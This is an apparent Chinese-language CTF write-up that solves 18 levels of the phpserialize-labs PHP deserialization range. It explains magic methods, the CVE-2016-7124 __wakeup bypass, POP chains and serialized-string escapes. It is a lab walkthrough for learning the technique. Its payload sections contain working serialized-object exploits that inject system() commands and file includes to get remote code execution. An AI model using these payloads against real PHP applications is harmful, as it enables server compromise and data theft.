Back to Blog

PHP 反序列化漏洞通关攻略 (phpserialize-labs WP)

HelloCTF Medium

PHP 反序列化漏洞通关攻略 (phpserialize-labs WP)

本篇题解针对 phpserialize-labs 靶场(共 18 个关卡)进行了系统的漏洞分析与原理解析。通过分析 PHP 面向对象编程中的魔术方法触发逻辑、GC(垃圾回收)机制、反序列化修饰符规则以及 POP 链的构造,帮助深入理解 PHP 反序列化漏洞的核心成因。


LEVEL 1 类的实例化

💡 漏洞分析

  • 魔术方法__construct() 是 PHP 类的构造函数,在对象被实例化(使用 new 关键字创建对象)时自动调用。
  • 触发逻辑:题目直接将传入的 code 进行执行,只需通过 new FLAG() 实例化 FLAG 类,即可自动触发构造函数并获取 flag。

🔑 漏洞利用 (Payload)

code=$a = new FLAG();


LEVEL 2 对象中值的传递

💡 漏洞分析

  • 属性操作:题目实例化了 target 对象。若要输出 flag,需要通过调用该对象的 get_free_flag() 方法。
  • 值传递关系:在调用方法前,需要将存储 flag 值的全局变量 $flag_string 赋值给 target 对象的成员属性 free_flag

🔑 漏洞利用 (Payload)

code=$target->free_flag = $flag_string;


LEVEL 3 对象中值的权限

💡 漏洞分析

  • 访问控制修饰符
    • public(公共):类外部可以直接访问。
    • protected(受保护):外部不可直接访问,通常需要通过类内部定义的 Getter 方法访问。
    • private(私有):外部不可直接访问,且无法被子类继承,必须通过类内部定义的方法访问。
  • 利用思路:对于 sub_target 对象:
    1. 公共属性可以直接读取:$sub_target->public_flag
    2. 受保护属性通过方法读取:$sub_target->get_protected_flag()
    3. 私有属性通过方法读取:$sub_target->get_private_flag()。 拼接这三个值即可获取完整 flag。

🔑 漏洞利用 (Payload)

code=echo $sub_target->public_flag;
echo $sub_target->get_protected_flag();
echo $sub_target->get_private_flag();


LEVEL 4 序列化初体验

💡 漏洞分析

  • 漏洞机理:当类属性全部为私有属性,且外部没有直接输出它们的方法时,无法通过直接调用的方式读取。
  • 序列化导出serialize() 函数将对象序列化为包含其所有类型、名称和属性值的字符串。即便属性被定义为 private,其值在序列化后的文本中依然是可见且可被导出的。

🔑 漏洞利用 (Payload)

code=echo serialize($flag_is_here);


LEVEL 5 序列化的普通值规则

💡 漏洞分析

本关主要考查 PHP 序列化后的格式解析。PHP 序列化后的格式如下:

数据类型格式表示说明
Strings:长度:"内容";字符串
Integeri:数值;整数
Booleanb:1; / b:0;布尔值 (true / false)
NullN;空值
Arraya:键值对数量:{键;值;...}数组
ObjectO:类名长度:"类名":属性数量:{属性键;属性值;...}对象

根据各输入参数的判等条件,依次构造匹配的反序列化字符串:

  1. b 需为布尔值 true -> b:1;
  2. n 需为 NULL -> N;
  3. s 需为字符串 "IWANT" -> s:5:"IWANT";
  4. i 需为整数 1 -> i:1;
  5. o 需为 a_class 实例,其属性 a_value 值为 "FLAG" -> O:7:"a_class":1:{s:7:"a_value";s:4:"FLAG";}
  6. a 需为数组,且包含键值对 ['a' => 'Plz', 'b' => 'Give_M3'] -> a:2:{s:1:"a";s:3:"Plz";s:1:"b";s:7:"Give_M3";}

🔑 漏洞利用 (Payload)

o=O:7:"a_class":1:{s:7:"a_value";s:4:"FLAG";}&a=a:2:{s:1:"a";s:3:"Plz";s:1:"b";s:7:"Give_M3";}&s=s:5:"IWANT";&i=i:1;&b=b:1;&n=N;


LEVEL 6 序列化的权限修饰规则

💡 漏洞分析

不同权限的类属性在进行序列化时,其属性名在底层表示上会添加特定的前缀:

  • public 属性:属性名保持不变。
  • protected 属性:前缀为 %00*%00 (即 \x00*\x00 包含 2 个空字节,长度计算需加上前缀字符数)。
  • private 属性:前缀为 %00类名%00 (即 \x00ClassName\x00 包含 2 个空字节,长度计算需加上类名和前缀字符数)。

题目提示了对应的结构,需要我们手工补全属性的值:

  • privateKEY 对象的属性 private_key 值为 "private_key"
  • protectedKEY 对象的属性 protected_key 值为 "protected_key"

由于属性名包含 \x00 (空字节),在 URL 传输时必须使用 %00 进行编码。

🔑 漏洞利用 (Payload)

private_key=O:10:"privateKEY":1:{s:23:"%00privateKEY%00private_key";s:11:"private_key";}&protected_key=O:12:"protectedKEY":1:{s:16:"%00*%00protected_key";s:13:"protected_key";}


LEVEL 7 实例化与反序列化

💡 漏洞分析

  • 漏洞点:页面接收参数 o 并对其执行 unserialize() 操作,随后调用 backdoor() 方法。
  • 后门分析FLAG 类中定义了 backdoor() 方法,内部执行 eval($this->flag_command)
  • 利用构造:我们将 FLAG 类的 flag_command 属性设置为命令执行语句。反序列化后,当程序执行 $o->backdoor() 时即可触发 RCE。
  • :在 Linux 环境下,直接读取 PHP 文件(如 cat flag.php)可能会因为网页将 <?php 当作 HTML 标签过滤而显示空白。使用 tac flag.php(反向读取)或在浏览器中 Ctrl + U 查看网页源代码即可查看到完整的 flag 内容。

🔑 漏洞利用 (Payload)

o=O:4:"FLAG":1:{s:12:"flag_command";s:23:"system('tac flag.php');";}


LEVEL 8 构造函数和析构函数以及GC机制

💡 漏洞分析

  1. 生命周期魔术方法
    • __construct():在新建对象时被调用。其内部包含了 $flag = 0; $flag++;,也就是说每一次 new 操作,都会将全局变量 $flag 重置为 1
    • __destruct():当对象被销毁(或脚本运行结束)时自动调用。每次销毁对象,$flag 增加 1
  2. GC (垃圾回收机制)
    • 垃圾回收会在变量不被引用时(例如在作用域外、被 unset 或被覆盖)立即回收它并释放内存,这会当场触发 __destruct
    • 题目要求的 check() 触发条件是 $flag > 5。由于在 eval() 执行完毕后才会调用 check(),如果等到脚本自然结束,则在 check() 执行时 $flag 并未增加。因此,我们必须在 eval() 执行阶段手动销毁对象,以提早累加 $flag 的值。

🔑 漏洞利用 (Payload)

方案一:手动销毁引用

通过实例化多个对象,并利用 unset() 手动销毁它们以提前调用析构函数:

code=$a=new RELFLAG(); $b=new RELFLAG(); $c=new RELFLAG(); $d=new RELFLAG(); $e=new RELFLAG(); unset($a); unset($b); unset($c); unset($d); unset($e);

(由于最后一次 $e 被销毁时 $flag 增至 5,配合垃圾回收或前置对象积累,可以成功突破 5 的限制。)

方案二:利用匿名对象生存周期 (即时回收)

如果不将新建的对象赋值给变量,该匿名对象在没有引用的情况下会在创建后被垃圾回收器立即销毁,从而当场调用析构函数。由于不用变量承载,我们也无需反复进行 unset()

code=new RELFLAG(); new RELFLAG(); new RELFLAG(); new RELFLAG(); new RELFLAG(); new RELFLAG();

或者使用序列化链式调用:

code=unserialize(serialize(unserialize(serialize(unserialize(serialize(unserialize(serialize(new RELFLAG()))))))));


LEVEL 9 构造函数的后门

💡 漏洞分析

  • 生命周期细节:反序列化过程(unserialize()不会触发类的构造函数(__construct),但对象生命周期结束时依然会触发析构函数(__destruct)。
  • 利用点__destruct() 会调用 eval($this->flag_command)。因此,我们可以像 Level 7 一样直接传入序列化数据来篡改该属性。
  • 环境差异
    • Windows 环境下使用 type 命令读取文件:type flag.txt
    • Linux 环境下通常使用 cat 读取文件:cat /flag

🔑 漏洞利用 (Payload)

o=O:4:"FLAG":1:{s:12:"flag_command";s:24:"system('type flag.txt');";}


LEVEL 10 __wakeup()

💡 漏洞分析

  • 魔术方法__wakeup() 会在反序列化(unserialize())成功执行之后被自动调用。
  • 题目分析:此题没有对反序列化后作任何限制,且 __wakeup() 会输出 flag。因此只需反序列化一个空的 FLAG 对象即可触发它。

🔑 漏洞利用 (Payload)

o=O:4:"FLAG":0:{}


LEVEL 11 __wakeup() CVE-2016-7124

💡 漏洞分析

  • 核心漏洞 (CVE-2016-7124):在 PHP 5 < 5.6.25 和 PHP 7 < 7.0.10 的版本中,若反序列化字符串中声明的属性个数大于实际定义的属性个数,则 __wakeup() 魔术方法会被绕过,而析构函数 __destruct() 仍会被调用。
  • 绕过原因:题目在 __wakeup() 中执行了 $this->flag = NULL; 清空了 flag。通过将声明的属性个数从 1 修改为 2(大于实际定义的属性个数),即可绕过 __wakeup() 限制,防止 flag 被覆盖,并在析构函数中顺利输出 flag。

🔑 漏洞利用 (Payload)

o=O:4:"FLAG":2:{s:4:"flag";s:8:"FAKEFLAG";}


LEVEL 12 __sleep()

💡 漏洞分析

  • 魔术方法__sleep() 会在对象被序列化(serialize())之前被自动调用,必须返回一个包含所有需要被序列化的属性名称的数组。如果属性不在返回的数组中,该属性就不会被包含在序列化的结果中。
  • 题目分析:根据代码的提示: FLAG is $h + $e + $l + $I + $o + $c + $t + $f + $f + $l + $a + $g 我们可以依次通过 GET 参数向对应的属性传入非空的值,从而将它们拼接到一起。

🔑 最终 Flag

HelloCTF{Th3___sleep_function__is_called_before_serialization_t0_clean_up_4nd_select_variab1es}

LEVEL 13 __toString()

💡 漏洞分析

  • 魔术方法__toString() 会在对象被当作字符串对待(如使用 echoprint 或与字符串拼接)时自动触发。
  • 构造思路:通过传入 code 将传入 of $obj 进行 echo 输出,即可触发该方法打印出 flag。

🔑 漏洞利用 (Payload)

o=echo $obj;


LEVEL 14 __invoke()

💡 漏洞分析

  • 魔术方法__invoke() 会在尝试以调用函数的方式(如 $obj())来调用一个对象时被自动触发。
  • 构造思路:接收参数后,以函数调用形式执行该对象,并传入所需的动作名称 'get_flag',即可调用成功并打印出 flag。

🔑 漏洞利用 (Payload)

o=$obj('get_flag');


LEVEL 15 POP 链前置

💡 漏洞分析

面向属性编程 (POP) 是在类的方法中利用对象属性的相互调用,组合出一条执行流。本题的执行路径如下:

graph TD
    unserialize --触发--> A["D::__wakeup()"]
    A --调用 $this->d->action()--> B["destnation::action()"]
    B --调用 $this->cmd->show()--> C["A::show()"]
    C --调用 $this->a->show()--> D["B::show()"]
    D --调用 $this->b->show()--> E["C::show()"]
    E --命令执行 eval($this->c)--> F[RCE]

各层对象的嵌套关系:

  • D 类的 $d 属性指向 destnation 的实例。
  • destnation 类的 $cmd 属性指向 A 的实例。
  • A 类的 $a 属性指向 B 的实例。
  • B 类的 $b 属性指向 C 的实例。
  • C 类的 $c 属性为我们要执行的系统命令字符串。

🔑 漏洞利用 (Payload)

o=O:1:"D":1:{s:1:"d";O:10:"destnation":1:{s:3:"cmd";O:1:"A":1:{s:1:"a";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:24:"system('type flag.php');";}}}}}


LEVEL 16 POP 构造

💡 漏洞分析

该关卡需要利用魔术方法的级联触发,构造出一条完整的漏洞链:

graph TD
    unserialize --触发--> A["INIT::__wakeup()"]
    A --"echo $this->name (将对象当字符串)"--> B["B::__toString()"]
    B --"($this->b)() (将对象当函数执行)"--> C["A::__invoke()"]
    C --"include $this->a"--> D[读取 flag.php]
  • 第一步INIT__wakeup() 会执行 echo $this->name;,只要将 $name 设为 B 类的实例,就会触发 B__toString()
  • 第二步B__toString() 执行 ($this->b)();,将对象 $b 当作函数调用,若将 $b 设为 A 类的实例,则会触发 A__invoke()
  • 第三步A__invoke() 会包含 $this->a。若将 $a 设为 'flag.php',即可成功将 flag.php 包含并执行输出。

🔑 漏洞利用 (Payload)

o=O:4:"INIT":1:{s:4:"name";O:1:"B":1:{s:1:"b";O:1:"A":1:{s:1:"a";s:8:"flag.php";}}}


LEVEL 17 字符串逃逸基础-无中生有

💡 漏洞分析

  • 类定义与属性动态生成:PHP 在反序列化一个对象时,如果序列化字符串中声明了该类定义中没有的属性,反序列化后,PHP 会动态为该对象添加这些原本不存在的成员属性。
  • 绕过原理A 本来是一个空类,但是我们在反序列化字符串中声明了属性 helloctfcmd,反序列化后该对象便动态拥有了该属性。

🔑 漏洞利用 (Payload)

o=O:1:"A":1:{s:11:"helloctfcmd";s:8:"get_flag";}


LEVEL 18 字符串逃逸基础-尾部判定

💡 漏洞分析

  • 反序列化截断原则 (尾部判定):在进行反序列化时,PHP 引擎只关心序列化声明的信息。当根据声明的信息(包括对象类型、属性个数以及对应的键值长度与值)解析到闭合的大括号 } 时,反序列化解析会立即停止,大括号之后多余的任何字符都会被完全忽略。
  • 构造思路:题目在服务端接收 $target$change 拼接并序列化,由于我们可以控制 $change 的输入,我们可以人为地在 $change 中加入一个 },提前完成整个对象的闭合,并在后面写入我们希望覆盖或额外生成的属性结构,从而实现反序列化漏洞。

🔑 漏洞利用 (Payload)

?target=Demo&change=FLAG":1:{s:3:"key";s:8:"GET_FLAG";}